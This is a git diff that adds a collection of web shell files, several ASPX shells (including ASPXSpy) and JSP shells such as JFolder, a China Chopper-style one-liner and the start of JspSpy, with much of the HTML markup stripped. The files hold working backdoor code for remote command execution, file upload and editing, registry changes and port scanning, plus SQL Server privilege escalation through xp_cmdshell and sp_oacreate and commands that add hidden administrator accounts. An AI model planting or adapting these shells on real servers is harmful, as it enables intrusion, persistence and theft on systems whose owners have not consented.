                      + + + + 当前路径: + +<% +if (src == null) +{ +Response.Write(Server.MapPath(".")+"\\"); +} +else +Response.Write(src); + +%> + +
                      +
                      +<% + +if ((page == "info") && (Session["root"] != null)) +{ +this.LbServerNameC.Text = Server.MachineName; +this.LbLangC.Text = Request.UserLanguages[0]; +this.LbIpC.Text = Request.UserHostAddress; +this.LbBrowerC.Text = Request.UserAgent; +this.LbDnsC.Text = Request.UserHostName; +this.LbUrlC.Text = Server.MapPath("."); +this.LbUrlXdC.Text = Request.Path; +this.LbTimeC.Text = DateTime.Now.ToString(); +this.Lbversionc.Text = Environment.Version.ToString(); +this.LbUserc.Text = Environment.UserName; +this.LbBBC.Text = Environment.OSVersion.ToString(); +%> + + + + +
                      + +
                      + +
                      + +
                      + +
                      + +
                      + +
                      + +
                      + +
                      + +
                      + +
                      + +
                      + +
                      + +<% +} +else if ((page == "reg") && (Session["root"] != null)) +{ +%> + + + +
                      +HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\Wds\rdpwd\Tds\tcp +PortNumber
                      + + + + +
                      + + + +<% +} +else if ((page == "upload") && (Session["root"] != null)) +{ +%> + + + +保存路径:
                      + +
                      + +
                      + + +<% +} +else if ((page == "cmd") && (Session["root"] != null)) +{ +%> + + + +net user +
                      + + +
                      + + +<% +} +else if ((page == "sql") && (Session["root"] != null)) +{ +%> + + + +.
                      + +sa + +sa +
                      + +net user char char /add & net localgroup administrators char /add +
                      + + +
                      + + +<% +} +else if ((page == "scan") && (Session["root"] != null)) +{ +%> + + +IP:127.0.0.1 +port(多端口请用逗号隔开)21,1433,3389 +
                      + + +
                      + + +<% +} + +%> + +<% +else if (page == "logout") +{ +Session["root"] = null; +Response.Redirect(GetWebName()); +%> + +<% +} +else if ((page == "clonetime") && (Session["root"] != null)) +{ + +%> + +要克隆的文件:
                      +被克隆的文件: + + +
                      + + +<% +} +else if ((page == "download") && (Session["root"] != null)) +{ +%> +
                      + +下载地址:http://www.baidu.com/img/logo.gif
                      +保存路径:c:\logo.gif + + +
                      + +<% +} +else if ((page == "newdir") && (Session["root"] != null)) +{ +%> + + +输入路径和文件夹名称: +
                      + +
                      + +<% +} +else if ((page == "index") && Session["root"] != null) +{ +%> + +<% +if (src == "") +{ +Response.Write("我已经无法再跳上层目录了,请往回走,谢谢!"); +} +else +GetDir(src, src); +%> + +<% +} +else if ((page == "process") && Session["root"] != null) +{ +ListBoxPro.Items.Clear(); +listprocess(); +%> +
                      + + + + +
                      可带参数执行指定程序功能(权限限制):
                      +执行程序(绝对路径):
                      +参数(若无,可不写): + +

                      +
                      +
                      + + + + 当前进程: + + +
                      + + +
                      +总进程数:
                      + + + + +
                      + + +<% +} +else if ((page == "newfile") && (Session["root"] != null)) +{ +%> + + +c:\char.txt +
                      +
                      +
                      + +
                      + + +<% +} +else if ((action == "edit") && (Session["root"] != null)) +{ +%> +<% +TextBoxReadDir.Text = src; + +StreamReader sr = new StreamReader(TextBoxReadDir.Text.ToString(), Encoding.Default); +TextBoxFileContent.Text = sr.ReadToEnd(); +sr.Close(); +%> + + + +
                      +
                      +
                      +
                      + +
                      + + + +<% +} +else if (action == "rename" && Session["root"] != null) +{ +TextBoxRename.Text = src; +TextBoxRenameTo.Text = src; +%> +
                      + +重命名:
                      +为: + +
                      + +
                      + +<% +} + +if (action == "copy" && (Session["root"] != null)) +{ +TextBoxCopy.Text = src; +%> + +
                      +从:
                      +到: + +
                      + + +<% +} + +else if (action == "down" && (Session["root"] != null)) +{ +DownFile(src); + +%> + + + + + + + + + + + + +<% } +} +else +{ +%> +
                      +/*只支持鼠标登录,不可用回车*/

                      +/*警告:此网页木马采用Visual C# 2005 编写,仅供学习研究之用,不得用于非法*/

                      + + + + + +
                      +
                      + +<% +} +%> +
                      +凝聚科技专用AspX大马 By:凝聚科技
                      + diff --git "a/aspx/\346\230\237\345\244\226\346\217\220\346\235\203aspx\345\244\247\351\251\254(\345\216\273\345\220\216\351\227\250\347\211\210).aspx" "b/aspx/\346\230\237\345\244\226\346\217\220\346\235\203aspx\345\244\247\351\251\254(\345\216\273\345\220\216\351\227\250\347\211\210).aspx" new file mode 100644 index 0000000..08634d7 --- /dev/null +++ "b/aspx/\346\230\237\345\244\226\346\217\220\346\235\203aspx\345\244\247\351\251\254(\345\216\273\345\220\216\351\227\250\347\211\210).aspx" @@ -0,0 +1,6 @@ +<%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%><%@ import Namespace="System.IO"%><%@ import Namespace="System.Diagnostics"%><%@ import Namespace="System.Data"%><%@ import Namespace="System.Management"%><%@ import Namespace="System.Data.OleDb"%><%@ import Namespace="Microsoft.Win32"%><%@ import Namespace="System.Net.Sockets" %><%@ import Namespace="System.Net" %><%@ import Namespace="System.Runtime.InteropServices"%><%@ import Namespace="System.DirectoryServices"%><%@ import Namespace="System.ServiceProcess"%><%@ import Namespace="System.Text.RegularExpressions"%><%@ Import Namespace="System.Threading"%><%@ Import Namespace="System.Data.SqlClient"%><%@ import Namespace="Microsoft.VisualBasic"%><%@ Assembly Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%><%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%><%@ Assembly Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%><%@ Assembly Name="Microsoft.VisualBasic,Version=7.0.3300.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a"%>Fuck


                      im4hk

                      PassWord:



                      | | | | | | | | | | | | |

                      <%--FileList--%>
                      当前目录 :
                       文件(夹)名最后修改时间大小操作
                      | | | |新建目录 | 新建文件 | 木马自杀
                      <%--FileEdit--%>

                      当前文件(创建新的文件名和新文件)
                      DefaultUTF-8

                      文件内容

                      <%--CloneTime--%>

                      修改文件

                      参考文件

                      设置最后修改时间 »

                      当前文件

                         

                      创建时间 :最后修改时间 :最后访问时间 :

                      <%--IISSpy--%>
                      IDIIS_USERIIS_PASSDomainPath
                      <%--Process--%>
                      IDProcessThreadCountPriorityAction
                      <%--CmdShell--%>

                      Cmd路径:

                      语句:
                      <%--Services--%>
                      IDNamePathStateStartMode
                      <%--Sysinfo--%>



                            <%--UserInfo--%>
                            <%--SuExp--%>
                            <%--Reg--%>

                            注册表路径 :

                            KeyValue
                            <%--PortScan--%>

                            IP : 端口 :

                            <%--DataBase--%>

                            语句 : MSSQLACCESS

                            Please select a database : SQLExec : -- SQL Server Exec --Add xp_cmdshellAdd sp_oacreateAdd xp_cmdshell(SQL2005)Add sp_oacreate(SQL2005)Add makewebtask(SQL2005)Add openrowset/opendatasource(SQL2005)XP_cmdshell execXP_dirtreeSP_oamethod execSP_makewebtask make fileSandBoxLogBackupDatabaseBackup
                            Run SQL

                            <%--PortMap--%>
                            本地Ip : 本地端口 : 远程Ip : 远端口程 :

                            <%--Search--%>
                            关键词 使用正则表达式
                            替换 替换
                            搜索文件类型文件名称文件内容
                            路径


                            File PathLast modifiedSize
                            +1.去掉了过时的server-u的提权功能 改成了能方便提权的提权资料 +2.在文件管理中增加了三个快捷按钮 直接达到可能存在提权利用的目录 +3.去掉了原作者万能密码的后门(这个王八蛋) +4.不知道二次开发的作者改了什么 只能在,net 2.0环境或者更高版本环境下用 蛋疼 +password:fake diff --git "a/aspx/\347\256\200\345\215\225\345\205\250\350\213\261\346\226\207aspx\346\234\250\351\251\254.aspx" "b/aspx/\347\256\200\345\215\225\345\205\250\350\213\261\346\226\207aspx\346\234\250\351\251\254.aspx" new file mode 100644 index 0000000..6a18ea4 --- /dev/null +++ "b/aspx/\347\256\200\345\215\225\345\205\250\350\213\261\346\226\207aspx\346\234\250\351\251\254.aspx" @@ -0,0 +1,1552 @@ +<%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" %> +<%@ import Namespace="System.IO" %> +<%@ import Namespace="System.Diagnostics" %> +<%@ import Namespace="System.Data" %> +<%@ import Namespace="System.Data.OleDb" %> +<%@ import Namespace="Microsoft.Win32" %> +<%@ import Namespace="System.Net.Sockets" %> +<%@ Assembly Name="System.DirectoryServices, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A" %> +<%@ import Namespace="System.DirectoryServices" %> + + + + + + ASPXSpy1.0 -> Bin:) + + + + +
                            + + +

                            + Copyright (C) 2009 Bin -> WwW.Zhack.Cn +
                            + + + + +   + + +
                            + Copyright (C) 2009 Bin -> WwW.Zhack.Cn -> Reverse-IP
                            + +

                            +

                            + +    + +
                            + + + +
                            + +   + + + + + +
                            +
                            + FileName : +
                            + + + + +
                            + CreationTime : + + LastWriteTime : + + LastAccessTime : +
                            + + +
                            +
                            +

                            + Path:
                            +
                            +  
                            +
                            + CmdPath :  C:\Windows\System32\Cmd.exe
                            + Argument : + /c Set
                            + +
                            +
                            +
                            + +
                            + ConnString : + server=localhost;UID=sa;PWD=;database=master;Provider=SQLOLEDB
                            + + +
                            + + + +

                            +
                            + +
                            + + +
                            +
                            +
                            + + Path : + c:\ +
                            +   +
                            +

                            +
                            + + +
                            +
                            + +
                            + Name : + localadministrator + Pass : + #l@$ak#.lk;0@P + Port : + 43958
                            + CMD : + cmd.exe /c net user
                            +
                            +
                            +
                            + +
                            +
                            +
                            +
                            +  
                            +
                            + KEY :   HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
                            + VALUE : + ComputerName 
                            +
                            + +
                            + IP : + 127.0.0.1 + PORT : + 21,80,1433,3306,3389,4899,5631,43958,65500 +
                            +

                            + +
                            + + diff --git a/jsp/JFolder.jsp b/jsp/JFolder.jsp new file mode 100644 index 0000000..0079dcb --- /dev/null +++ b/jsp/JFolder.jsp @@ -0,0 +1,1022 @@ +<% +/** +JFileMan V1.0 windows platform +@Filename: JFolder.jsp +@Description: 一个简单的系统文件目录显示程序,类似于资源管理器,提供基本的文件操作,不过功能弱多了。 +@Author: Steven Cee +@Email : cqq1978@Gmail.com +@Bugs : 下载时,中文文件名无法正常显示;Unix操作系统上传 +*/ +%> +<%@page errorPage="/"%> +<%@page contentType="text/html;charset=gb2312"%> +<%@page import="java.io.*,java.util.*,java.net.*" %> +<%! +private final static int languageNo=1; //Language,0 : Chinese; 1:English +String strThisFile="JFileMan.jsp"; +String strSeparator = File.separator; +String[] authorInfo={" 写的不好,将就着用吧 - - by 慈勤强 http://www.topronet.com "," Thanks for your support - - by Steven Cee http://www.topronet.com "}; +String[] strFileManage = {"文 件 管 理","File Management"}; +String[] strCommand = {"CMD 命 令","Command Window"}; +String[] strSysProperty = {"系 统 属 性","System Property"}; +String[] strHelp = {"帮 助","Help"}; +String[] strParentFolder = {"上级目录","Parent Folder"}; +String[] strCurrentFolder= {"当前目录","Current Folder"}; +String[] strDrivers = {"驱动器","Drivers"}; +String[] strFileName = {"文件名称","File Name"}; +String[] strFileSize = {"文件大小","File Size"}; +String[] strLastModified = {"最后修改","Last Modified"}; +String[] strFileOperation= {"文件操作","Operations"}; +String[] strFileEdit = {"修改","Edit"}; +String[] strFileDown = {"下载","Download"}; +String[] strFileCopy = {"复制","Move"}; +String[] strFileDel = {"删除","Delete"}; +String[] strExecute = {"执行","Execute"}; +String[] strBack = {"返回","Back"}; +String[] strFileSave = {"保存","Save"}; + +public class FileHandler +{ + private String strAction=""; + private String strFile=""; + void FileHandler(String action,String f) + { + + } +} + +public static class UploadMonitor { + + static Hashtable uploadTable = new Hashtable(); + + static void set(String fName, UplInfo info) { + uploadTable.put(fName, info); + } + + static void remove(String fName) { + uploadTable.remove(fName); + } + + static UplInfo getInfo(String fName) { + UplInfo info = (UplInfo) uploadTable.get(fName); + return info; + } +} + +public class UplInfo { + + public long totalSize; + public long currSize; + public long starttime; + public boolean aborted; + + public UplInfo() { + totalSize = 0l; + currSize = 0l; + starttime = System.currentTimeMillis(); + aborted = false; + } + + public UplInfo(int size) { + totalSize = size; + currSize = 0; + starttime = System.currentTimeMillis(); + aborted = false; + } + + public String getUprate() { + long time = System.currentTimeMillis() - starttime; + if (time != 0) { + long uprate = currSize * 1000 / time; + return convertFileSize(uprate) + "/s"; + } + else return "n/a"; + } + + public int getPercent() { + if (totalSize == 0) return 0; + else return (int) (currSize * 100 / totalSize); + } + + public String getTimeElapsed() { + long time = (System.currentTimeMillis() - starttime) / 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + + public String getTimeEstimated() { + if (currSize == 0) return "n/a"; + long time = System.currentTimeMillis() - starttime; + time = totalSize * time / currSize; + time /= 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + + } + + public class FileInfo { + + public String name = null, clientFileName = null, fileContentType = null; + private byte[] fileContents = null; + public File file = null; + public StringBuffer sb = new StringBuffer(100); + + public void setFileContents(byte[] aByteArray) { + fileContents = new byte[aByteArray.length]; + System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length); + } +} + +// A Class with methods used to process a ServletInputStream +public class HttpMultiPartParser { + + private final String lineSeparator = System.getProperty("line.separator", "\n"); + private final int ONE_MB = 1024 * 1; + + public Hashtable processData(ServletInputStream is, String boundary, String saveInDir, + int clength) throws IllegalArgumentException, IOException { + if (is == null) throw new IllegalArgumentException("InputStream"); + if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException( + "\"" + boundary + "\" is an illegal boundary indicator"); + boundary = "--" + boundary; + StringTokenizer stLine = null, stFields = null; + FileInfo fileInfo = null; + Hashtable dataTable = new Hashtable(5); + String line = null, field = null, paramName = null; + boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0); + boolean isFile = false; + if (saveFiles) { // Create the required directory (including parent dirs) + File f = new File(saveInDir); + f.mkdirs(); + } + line = getLine(is); + if (line == null || !line.startsWith(boundary)) throw new IOException( + "Boundary not found; boundary = " + boundary + ", line = " + line); + while (line != null) { + if (line == null || !line.startsWith(boundary)) return dataTable; + line = getLine(is); + if (line == null) return dataTable; + stLine = new StringTokenizer(line, ";\r\n"); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + line = stLine.nextToken().toLowerCase(); + if (line.indexOf("form-data") < 0) throw new IllegalArgumentException( + "Bad data in second line"); + stFields = new StringTokenizer(stLine.nextToken(), "=\""); + if (stFields.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + fileInfo = new FileInfo(); + stFields.nextToken(); + paramName = stFields.nextToken(); + isFile = false; + if (stLine.hasMoreTokens()) { + field = stLine.nextToken(); + stFields = new StringTokenizer(field, "=\""); + if (stFields.countTokens() > 1) { + if (stFields.nextToken().trim().equalsIgnoreCase("filename")) { + fileInfo.name = paramName; + String value = stFields.nextToken(); + if (value != null && value.trim().length() > 0) { + fileInfo.clientFileName = value; + isFile = true; + } + else { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + } + else if (field.toLowerCase().indexOf("filename") >= 0) { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + boolean skipBlankLine = true; + if (isFile) { + line = getLine(is); + if (line == null) return dataTable; + if (line.trim().length() < 1) skipBlankLine = false; + else { + stLine = new StringTokenizer(line, ": "); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in third line"); + stLine.nextToken(); // Content-Type + fileInfo.fileContentType = stLine.nextToken(); + } + } + if (skipBlankLine) { + line = getLine(is); + if (line == null) return dataTable; + } + if (!isFile) { + line = getLine(is); + if (line == null) return dataTable; + dataTable.put(paramName, line); + // If parameter is dir, change saveInDir to dir + if (paramName.equals("dir")) saveInDir = line; + line = getLine(is); + continue; + } + try { + UplInfo uplInfo = new UplInfo(clength); + UploadMonitor.set(fileInfo.clientFileName, uplInfo); + OutputStream os = null; + String path = null; + if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir, + fileInfo.clientFileName)); + else os = new ByteArrayOutputStream(ONE_MB); + boolean readingContent = true; + byte previousLine[] = new byte[2 * ONE_MB]; + byte temp[] = null; + byte currentLine[] = new byte[2 * ONE_MB]; + int read, read3; + if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) { + line = null; + break; + } + while (readingContent) { + if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) { + line = null; + uplInfo.aborted = true; + break; + } + if (compareBoundary(boundary, currentLine)) { + os.write(previousLine, 0, read - 2); + line = new String(currentLine, 0, read3); + break; + } + else { + os.write(previousLine, 0, read); + uplInfo.currSize += read; + temp = currentLine; + currentLine = previousLine; + previousLine = temp; + read = read3; + }//end else + }//end while + os.flush(); + os.close(); + if (!saveFiles) { + ByteArrayOutputStream baos = (ByteArrayOutputStream) os; + fileInfo.setFileContents(baos.toByteArray()); + } + else fileInfo.file = new File(path); + dataTable.put(paramName, fileInfo); + uplInfo.currSize = uplInfo.totalSize; + }//end try + catch (IOException e) { + throw e; + } + } + return dataTable; + } + + /** + * Compares boundary string to byte array + */ + private boolean compareBoundary(String boundary, byte ba[]) { + byte b; + if (boundary == null || ba == null) return false; + for (int i = 0; i < boundary.length(); i++) + if ((byte) boundary.charAt(i) != ba[i]) return false; + return true; + } + + /** Convenience method to read HTTP header lines */ + private synchronized String getLine(ServletInputStream sis) throws IOException { + byte b[] = new byte[1024]; + int read = sis.readLine(b, 0, b.length), index; + String line = null; + if (read != -1) { + line = new String(b, 0, read); + if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1); + } + return line; + } + + public String getFileName(String dir, String fileName) throws IllegalArgumentException { + String path = null; + if (dir == null || fileName == null) throw new IllegalArgumentException( + "dir or fileName is null"); + int index = fileName.lastIndexOf('/'); + String name = null; + if (index >= 0) name = fileName.substring(index + 1); + else name = fileName; + index = name.lastIndexOf('\\'); + if (index >= 0) fileName = name.substring(index + 1); + path = dir + File.separator + fileName; + if (File.separatorChar == '/') return path.replace('\\', File.separatorChar); + else return path.replace('/', File.separatorChar); + } +} //End of class HttpMultiPartParser + +String formatPath(String p) +{ + StringBuffer sb=new StringBuffer(); + for (int i = 0; i < p.length(); i++) + { + if(p.charAt(i)=='\\') + { + sb.append("\\\\"); + } + else + { + sb.append(p.charAt(i)); + } + } + return sb.toString(); +} + + /** + * Converts some important chars (int) to the corresponding html string + */ + static String conv2Html(int i) { + if (i == '&') return "&"; + else if (i == '<') return "<"; + else if (i == '>') return ">"; + else if (i == '"') return """; + else return "" + (char) i; + } + + /** + * Converts a normal string to a html conform string + */ + static String htmlEncode(String st) { + StringBuffer buf = new StringBuffer(); + for (int i = 0; i < st.length(); i++) { + buf.append(conv2Html(st.charAt(i))); + } + return buf.toString(); + } +String getDrivers() +/** +Windows系统上取得可用的所有逻辑盘 +*/ +{ + StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : "); + File roots[]=File.listRoots(); + for(int i=0;i"); + sb.append(roots[i]+" "); + } + return sb.toString(); +} +static String convertFileSize(long filesize) +{ + //bug 5.09M 显示5.9M + String strUnit="Bytes"; + String strAfterComma=""; + int intDivisor=1; + if(filesize>=1024*1024) + { + strUnit = "MB"; + intDivisor=1024*1024; + } + else if(filesize>=1024) + { + strUnit = "KB"; + intDivisor=1024; + } + if(intDivisor==1) return filesize + " " + strUnit; + strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ; + if(strAfterComma=="") strAfterComma=".0"; + return filesize / intDivisor + "." + strAfterComma + " " + strUnit; +} +%> +<% +request.setCharacterEncoding("gb2312"); +String tabID = request.getParameter("tabID"); +String strDir = request.getParameter("path"); +String strAction = request.getParameter("action"); +String strFile = request.getParameter("file"); +String strPath = strDir + strSeparator + strFile; +String strCmd = request.getParameter("cmd"); +StringBuffer sbEdit=new StringBuffer(""); +StringBuffer sbDown=new StringBuffer(""); +StringBuffer sbCopy=new StringBuffer(""); +StringBuffer sbSaveCopy=new StringBuffer(""); +StringBuffer sbNewFile=new StringBuffer(""); +String strOS = System.getProperty("os.name").toLowerCase(); +//out.print(strPath); +if((tabID==null) || tabID.equals("")) +{ + tabID = "1"; +} + +if(strDir==null||strDir.length()<1) +{ + strDir = request.getRealPath("."); +} + + +if(strAction!=null && strAction.equals("down")) +{ + File f=new File(strPath); + if(f.length()==0) + { + sbDown.append("文件大小为 0 字节,就不用下了吧"); + } + else + { + response.setHeader("content-type","text/html; charset=ISO-8859-1"); + response.setContentType("APPLICATION/OCTET-STREAM"); + response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\""); + FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath()); + out.clearBuffer(); + int i; + while ((i=fileInputStream.read()) != -1) + { + out.write(i); + } + fileInputStream.close(); + out.close(); + } +} + +if(strAction!=null && strAction.equals("del")) +{ + File f=new File(strPath); + f.delete(); +} + +if(strAction!=null && strAction.equals("edit")) +{ + File f=new File(strPath); + BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f))); + sbEdit.append("
                            \r\n"); + sbEdit.append("\r\n"); + sbEdit.append("\r\n"); + sbEdit.append("\r\n"); + sbEdit.append(" "); + sbEdit.append("  "+strPath+"\r\n"); + sbEdit.append("
                            "); + sbEdit.append(""); + sbEdit.append("
                            "); +} + +if(strAction!=null && strAction.equals("save")) +{ + File f=new File(strPath); + BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f))); + String strContent=request.getParameter("content"); + bw.write(strContent); + bw.close(); +} +if(strAction!=null && strAction.equals("copy")) +{ + File f=new File(strPath); + sbCopy.append("
                            \r\n"); + sbCopy.append("\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("原始文件: "+strPath+"

                            "); + sbCopy.append("目标文件:

                            "); + sbCopy.append(" "); + sbCopy.append("

                             \r\n"); + sbCopy.append("

                            "); +} +if(strAction!=null && strAction.equals("savecopy")) +{ + File f=new File(strPath); + String strDesFile=request.getParameter("file2"); + if(strDesFile==null || strDesFile.equals("")) + { + sbSaveCopy.append("

                            目标文件错误。"); + } + else + { + File f_des=new File(strDesFile); + if(f_des.isFile()) + { + sbSaveCopy.append("

                            目标文件已存在,不能复制。"); + } + else + { + String strTmpFile=strDesFile; + if(f_des.isDirectory()) + { + if(!strDesFile.endsWith(strSeparator)) + { + strDesFile=strDesFile+strSeparator; + } + strTmpFile=strDesFile+"cqq_"+strFile; + } + + File f_des_copy=new File(strTmpFile); + FileInputStream in1=new FileInputStream(f); + FileOutputStream out1=new FileOutputStream(f_des_copy); + byte[] buffer=new byte[1024]; + int c; + while((c=in1.read(buffer))!=-1) + { + out1.write(buffer,0,c); + } + in1.close(); + out1.close(); + + sbSaveCopy.append("原始文件 :"+strPath+"

                            "); + sbSaveCopy.append("目标文件 :"+strTmpFile+"

                            "); + sbSaveCopy.append("复制成功!"); + } + } + sbSaveCopy.append("

                            "); +} +if(strAction!=null && strAction.equals("newFile")) +{ + String strF=request.getParameter("fileName"); + String strType1=request.getParameter("btnNewFile"); + String strType2=request.getParameter("btnNewDir"); + String strType=""; + if(strType1==null) + { + strType="Dir"; + } + else if(strType2==null) + { + strType="File"; + } + if(!strType.equals("") && !(strF==null || strF.equals(""))) + { + File f_new=new File(strF); + if(strType.equals("File") && !f_new.createNewFile()) + sbNewFile.append(strF+" 文件创建失败"); + if(strType.equals("Dir") && !f_new.mkdirs()) + sbNewFile.append(strF+" 目录创建失败"); + } + else + { + sbNewFile.append("

                            建立文件或目录出错。"); + } +} + +if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart"))) +{ + String tempdir="."; + boolean error=false; + response.setContentType("text/html"); + HttpMultiPartParser parser = new HttpMultiPartParser(); + + int bstart = request.getContentType().lastIndexOf("oundary="); + String bound = request.getContentType().substring(bstart + 8); + int clength = request.getContentLength(); + Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength); + if (ht.get("cqqUploadFile") != null) + { + + FileInfo fi = (FileInfo) ht.get("cqqUploadFile"); + File f1 = fi.file; + UplInfo info = UploadMonitor.getInfo(fi.clientFileName); + if (info != null && info.aborted) + { + f1.delete(); + request.setAttribute("error", "Upload aborted"); + } + else + { + String path = (String) ht.get("path"); + + if(path!=null && !path.endsWith(strSeparator)) + path = path + strSeparator; + strDir = path; + //out.println(path + f1.getName()); + if (!f1.renameTo(new File(path + f1.getName()))) + { + request.setAttribute("error", "Cannot upload file."); + out.println("error,upload "); + error = true; + f1.delete(); + } + } + } +} +%> + + + + + + + +JFoler 1.0 ---A jsp based web folder management tool by Steven Cee + + + + + +

                            + + + + + + +
                            + + + + + + +<% +StringBuffer sbFolder=new StringBuffer(""); +StringBuffer sbFile=new StringBuffer(""); +try +{ + File objFile = new File(strDir); + File list[] = objFile.listFiles(); + if(objFile.getAbsolutePath().length()>3) + { + sbFolder.append(" "); + sbFolder.append(strParentFolder[languageNo]+"
                            - - - - - - - - - - - \r\n "); + + + } + for(int i=0;i "); + sbFolder.append(" "); + sbFolder.append(list[i].getName()+"
                            "); + } + else + { + String strLen=""; + String strDT=""; + long lFile=0; + lFile=list[i].length(); + strLen = convertFileSize(lFile); + Date dt=new Date(list[i].lastModified()); + strDT=dt.toLocaleString(); + sbFile.append(""); + sbFile.append(""+list[i].getName()); + sbFile.append(""); + sbFile.append(""+strLen); + sbFile.append(""); + sbFile.append(""+strDT); + sbFile.append(""); + + sbFile.append("  "); + sbFile.append(strFileEdit[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileDel[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileDown[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileCopy[languageNo]+" "); + } + + } +} +catch(Exception e) +{ + out.println("操作失败: "+e.toString()+""); +} +%> + +
                            + + + + + + + + + +
                            +

                            +
                            www.topronet.com ,All Rights Reserved. +
                            Any question, please email me cqq1978@Gmail.com diff --git "a/jsp/JSP\344\270\200\345\217\245\350\257\235\343\200\201\345\267\262\346\265\213\350\257\225.jsp" "b/jsp/JSP\344\270\200\345\217\245\350\257\235\343\200\201\345\267\262\346\265\213\350\257\225.jsp" new file mode 100644 index 0000000..1417cf7 --- /dev/null +++ "b/jsp/JSP\344\270\200\345\217\245\350\257\235\343\200\201\345\267\262\346\265\213\350\257\225.jsp" @@ -0,0 +1,59 @@ +<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%> +<%! +String Pwd="PW"; +String EC(String s,String c)throws Exception{return s;}//new String(s.getBytes("ISO-8859-1"),c);} +Connection GC(String s)throws Exception{String[] x=s.trim().split("\r\n");Class.forName(x[0].trim()).newInstance(); +Connection c=DriverManager.getConnection(x[1].trim());if(x.length>2){c.setCatalog(x[2].trim());}return c;} +void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+"<-").getBytes(),0,3);os.close();is.close();} +void GG(String s, String d)throws Exception{String h="0123456789ABCDEF";int n;File f=new File(s);f.createNewFile(); +FileOutputStream os=new FileOutputStream(f);for(int i=0;i<% +String cs=request.getParameter("z0")+"";request.setCharacterEncoding(cs);response.setContentType("text/html;charset="+cs); +String Z=EC(request.getParameter(Pwd)+"",cs);String z1=EC(request.getParameter("z1")+"",cs);String z2=EC(request.getParameter("z2")+"",cs); +StringBuffer sb=new StringBuffer("");try{sb.append("->"+"|"); +if(Z.equals("A")){String s=new File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s+"\t");if(!s.substring(0,1).equals("/")){AA(sb);}} +else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1)))); +while((l=br.readLine())!=null){sb.append(l+"\r\n");}br.close();} +else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1)))); +bw.write(z2);bw.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,response);} +else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");} +else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");} +else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c); +MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);} +else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb);} +}catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"<-");out.print(sb.toString()); +%> diff --git a/jsp/JspSpy.jsp b/jsp/JspSpy.jsp new file mode 100644 index 0000000..d078f4a --- /dev/null +++ b/jsp/JspSpy.jsp @@ -0,0 +1,2344 @@ +<%@page pageEncoding="utf-8"%> +<%@page import="java.io.*"%> +<%@page import="java.util.*"%> +<%@page import="java.util.regex.*"%> +<%@page 